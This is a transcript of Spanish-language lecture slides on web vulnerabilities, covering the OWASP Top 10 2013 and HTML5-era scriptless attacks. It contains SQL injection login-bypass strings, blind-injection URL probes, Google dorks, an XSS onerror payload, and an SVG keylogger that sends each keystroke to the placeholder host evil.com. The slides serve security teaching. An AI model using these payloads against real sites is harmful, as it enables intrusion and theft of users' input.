ataques clásicos y no tan clásicos en la era de
Transcripción
ataques clásicos y no tan clásicos en la era de
Pablo Garaizar, Universidad de Deusto XV Jornada de Seguridad TI Vulnerabilidades web: ataques clásicos y no tan clásicos en la era de HTML5 [email protected] ¿De qué vamos a hablar? ● ● Oldies goldies: OWASP Top 10, 2013: ● A1 - Injections ● A2 - Broken Authentication and Session Management ● A3 - Cross-Site Scripting (XSS) ● … Nuevas vulnerabilidades en torno a HTML5. OWASP Top 10, 2013 https://www.owasp.org/index.php/Top_10_2013-Top_10 OWASP The Open Web Application Security Project https://www.owasp.org/index.php/Main_Page A1 - Injection SQL, OS, and LDAP injections https://www.owasp.org/index.php/Top_10_2013-A1 SQL Injection Por una comilla de nada... SELECT * FROM users WHERE user = '" + username + "' and password = '" + md5(password) + "'; Username: admin' OR '1'='1 Password: whatever SELECT * FROM users WHERE user = 'admin' OR '1'='1' and password = '" + md5('whatever') + "'; SQL Injection Si no hay mensajes de error, Blind SQL Injection ● Si no hay error, se muestra la página normal. ● http://myblog.com/post.asp?id=33 AND 1=1 SELECT * FROM posts WHERE id = 33 AND 1=1 ● Si hay error, se muestra otra página. ● http://myblog.com/post.asp?id=33 AND 1=0 SELECT * FROM posts WHERE id = 33 AND 1=0 ● Google Hacking: – inurl:"php?id=" – inurl:"asp?id=" SQL Injection Blind SQL Injection, herramientas ● SQLbfTools: – http://www.reversing.org/node/view/11 ● ./mysqlbf.exe "http://web/vulnerable.php?ID=3" "now()" "word" ● SQL Ninja: – ● http://sqlninja.sourceforge.net/sqlninjademo1.html Absinthe: – http://www.0x90.org/releases/absinthe/download.php A2 - Broken Authentication and Session Management Compromise passwords, keys, session tokens, etc. https://www.owasp.org/index.php/Top_10_2013-A2 DEMO Login en Flash inurl:login.swf A3 - Cross-Site Scripting (XSS) Allows attackers to execute scripts in the victim’s browser https://www.owasp.org/index.php/Top_10_2013-A3 Cross-Site Scripting (XSS) Diferentes tipos y alcances ● Tipo 0: Basado en DOM. – Una página maliciosa abre una página local con permisos de Zona Local y ejecuta código con esas credenciales. – ● Típicamente en phising o SPAM. Tipo 1: No persistente. – El más común, necesita Ingeniería Social para explotarse. – Típicamente en webs de búsquedas, se muestra a su vez la cadena consultada (si tiene código, será ejecutado). ● Tipo 2: Persistente. – El código está almacenado en una BD, fichero, o similar. – No requiere mucha Ingeniería Social para que la víctima lo ejecute. – Típicamente en foros o similares. A4 - Insecure Direct Object References References to an internal implementation object, such as a file, directory, or database key https://www.owasp.org/index.php/Top_10_2013-A4 RFI PHP shells http://oco.cc/ A5 - Security Misconfiguration Keeping all software up to date https://www.owasp.org/index.php/Top_10_2013-A5 The Exploit Database Búsqueda de avisos + exploits ordenados por temas y fechas http://www.exploit-db.com/ A6 - Sensitive Data Exposure Sensitive data deserves extra protection such as encryption https://www.owasp.org/index.php/Top_10_2013-A6 Seguridad a través de la oscuridad robots.txt User-agent: * Disallow: Disallow: /_*/ Disallow: /ES/FamiliaReal/Urdangarin/ Disallow: /CA/FamiliaReal/Urdangarin/ Disallow: /EU/FamiliaReal/Urdangarin/ Disallow: /GL/FamiliaReal/Urdangarin/ Disallow: /VA/FamiliaReal/Urdangarin/ Disallow: /EN/FamiliaReal/Urdangarin/ Sitemap: http://www.casareal.es/sitemap.xml http://www.casareal.es/robots.txt Seguridad a través de la oscuridad Meta-datos: Fear the FOCA! http://www.informatica64.com/foca.aspx A7 - Missing Function Level Access Control Attackers are able to forge requests in order to access unauthorized functionality https://www.owasp.org/index.php/Top_10_2013-A7 Proteger el cron en Moodle Similar para v1.9, 2.x, etc. http://docs.moodle.org/19/en/Cron A8 - Cross-Site Request Forgery (CSRF) Forces a logged-on victim’s browser to send a forged HTTP request https://www.owasp.org/index.php/Top_10_2013-A8 Cross-Site Request Forgery (CSRF) XSRF o "sea-surf" ● Explota la confianza que tiene un sitio en el navegador de un cliente autenticado. – El servidor: acepta las credenciales de la sesión de usuario almacenada en el navegador. – El cliente: accede a una web que fuerza a su navegador a realizar acciones no deseadas en un sitio en el que previamente se ha autenticado. ● Contramedida: tokens específicos en cada formulario. A9 - Using Components with Known Vulnerabilities Vulnerable components, such as libraries, frameworks, and other software modules https://www.owasp.org/index.php/Top_10_2013-A9 The Exploit Database Búsqueda de avisos + exploits ordenados por temas y fechas http://www.exploit-db.com/ A10 - Unvalidated Redirects and Forwards Attackers can redirect victims to phishing or malware sites https://www.owasp.org/index.php/Top_10_2013-A10 Ataques de redirección PoCs: IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/ Nuevas vulnerabilidades en torno a HTML5 HTML5 Client-side Stored XSS in Web SQL Database <img onerror="alert('Client-side Stored XSS')" src="nil"> http://www.andlabs.org/html5/csXSS2.html HTML5 Cross Origin Requests wget --header="Origin: http://www.andlabs.org" www.andlabs.net/html5/acCOR.php http://www.andlabs.org/html5/acCOR.php HTML5: muchos más ataques Web Sockets, Web Workers, UI dressing, HTML5 tag abuse, etc. http://html5security.org/ http://www.slideshare.net/x00mario/stealing-the-pie Ataques sin scripts falso captcha usando tipografía propia http://heideri.ch/opera/captcha/ Ataques sin scripts Fuerza bruta contra password usando CSS y Regexps http://html5sec.org/invalid?start=0 Ataques sin scripts Lector de valores del DOM a través de CSS y Regexps (CSRF) http://eaea.sirdarckcat.net/cssar/v2/ Ataques sin scripts Capturador de sesión mediante CSS y Regexps http:// Ataques sin scripts Keylogger SVG <!--injection--> <svg height="0px"> <image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"> <set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" <set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" <set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" <set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" <set attributeName="xlink:href" begin="accessKey(e)" to="//evil.com/?e" <set attributeName="xlink:href" begin="accessKey(f)" to="//evil.com/?f" <set attributeName="xlink:href" begin="accessKey(g)" to="//evil.com/?g" <set attributeName="xlink:href" begin="accessKey(h)" to="//evil.com/?h" <set attributeName="xlink:href" begin="accessKey(i)" to="//evil.com/?i" <set attributeName="xlink:href" begin="accessKey(j)" to="//evil.com/?j" <set attributeName="xlink:href" begin="accessKey(k)" to="//evil.com/?k" <set attributeName="xlink:href" begin="accessKey(l)" to="//evil.com/?l" <set attributeName="xlink:href" begin="accessKey(m)" to="//evil.com/?m" <set attributeName="xlink:href" begin="accessKey(n)" to="//evil.com/?n" <set attributeName="xlink:href" begin="accessKey(o)" to="//evil.com/?o" <set attributeName="xlink:href" begin="accessKey(p)" to="//evil.com/?p" <set attributeName="xlink:href" begin="accessKey(q)" to="//evil.com/?q" <set attributeName="xlink:href" begin="accessKey(r)" to="//evil.com/?r" <set attributeName="xlink:href" begin="accessKey(s)" to="//evil.com/?s" <set attributeName="xlink:href" begin="accessKey(t)" to="//evil.com/?t" <set attributeName="xlink:href" begin="accessKey(u)" to="//evil.com/?u" <set attributeName="xlink:href" begin="accessKey(v)" to="//evil.com/?v" <set attributeName="xlink:href" begin="accessKey(w)" to="//evil.com/?w" <set attributeName="xlink:href" begin="accessKey(x)" to="//evil.com/?x" <set attributeName="xlink:href" begin="accessKey(y)" to="//evil.com/?y" <set attributeName="xlink:href" begin="accessKey(z)" to="//evil.com/?z" </image> </svg> http://html5sec.org/keylogger /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> /> Ataques sin scripts Fuerza bruta contra contraseñas mediante tipografía con “ligaduras” http://fontforge.org/ “All user input is evil until proven otherwise” Ken Cox Muchas gracias ;-) and... happy hacking! Referencias ● OWASP: The Open Web Application Security Project. ● El lado del mal, retos hacking, por Chema Alonso. ● Fear the FOCA! Informática64. ● IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd, por Soroush Dalili. ● HTML5 Top 10 Threats Stealth Attacks and Silent Exploits, Shreeraj Shah. ● HTML5 security. ● Scriptless Attacks: Stealing the pie without touching the sill, por Mario Heiderich, Felix Schuster y Marcus Niemietz. ● The Exploit Database. Todas las imágenes son propiedad de sus respectivos dueños, el resto del contenido está licenciado bajo Creative Commons by-sa 3.0 http://www.zerodayclothing.com, OWASP.org, Microsoft, Exploit-db.com, Informatica64, http://www.flickr.com/photos/ivanlian/3331017290/sizes/l/in/photostream/ http://www.flickr.com/photos/samout3/3411358304/sizes/l/in/photostream/ http://www.flickr.com/photos/ndanger/9731511/sizes/l/in/photostream/ http://www.flickr.com/photos/marcophoto/6264497575/sizes/l/in/photostream/ etc.